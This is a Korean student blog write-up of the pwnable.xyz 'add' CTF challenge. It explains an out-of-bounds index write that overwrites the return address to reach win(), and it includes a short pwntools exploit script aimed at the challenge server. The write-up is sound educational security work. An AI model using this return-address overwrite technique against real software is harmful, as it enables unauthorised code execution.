혜랑's STORY

[pwnable.xyz] add 본문

2021 SISS 21기 활동/여름방학 System

[pwnable.xyz] add

hyerang0125 2021. 8. 7. 01:07

오늘 해결할 문제는 이 사이트의 add 문제이다.

역시 실행을 위해 권한을 부여했다.

chmod +x challenge

일단 파일을 실행해보자.

그냥 종료된다. 

checksec으로 보호기법을 확인해보자.

64 bit 바이너리 파일이고, canary와 nx가 걸려있다.

IDA로 통해 코드와 함수 목록을 확인해 보았다.

숫자 형식으로 입력을 받고 반환값이 3이 아니면 while문을 탈출하는 코드였다.

함수 목록을 살펴보니 win() 이라는 함수가 있었다.

while문을 탈출하고 win으로 이동하여 flag를 출력해야 하는 문제인 것 같다.

일단 숫자를 입력해 보았는데 앞에 입력받은 두 수의 합을 3번째 숫자가 인덱스가 되는 자리에 저장하는 것 같았다.

이때 엄청 큰 수를 입력하거나 작은 수를 입력하게 되면 Out of boundary 취약점이 발생하게 된다. 

즉, 인덱스의 수를 주어진 크기인 0x60 + 0x8(ret)보다 크게 입력하게 되면 OOB 취약점으로 인해 RET 변조를 할 수 있다.

이때 v7이 __int64(8bytes)로 선언되어 있기 때문에 0x68/0x8의 값인 13을 인덱스로 넘겨주면 된다.

코드로 작성하면 아래와 같다.

from pwn import *

r = remote('svc.pwnable.xyz', '30002')
e = ELF('./challenge')

win = e.symbols['win']

payload = str(win) + ' 0 13'

r.sendlineafter(': ', payload)
r.sendlineafter(': ', 'ABC')

r.interactive()

 

payload를 넘겨주고 while문을 종료하기 위해 숫자가 아닌 문자를 넘겨주는 것을 볼 수 있다.

exploit 코드를 실행하여 flag를 얻었고

성공했다.

'2021 SISS 21기 활동 > 여름방학 System' 카테고리의 다른 글

[ROP Emporium] write4  (0) 2021.08.19
[picoCTF] Here's a Libc  (0) 2021.08.11
[pwnable.xyz] sub  (1) 2021.08.06
[HackCTF] Random key 풀이  (0) 2021.07.31
[HackCTF] RTC 풀이  (0) 2021.07.31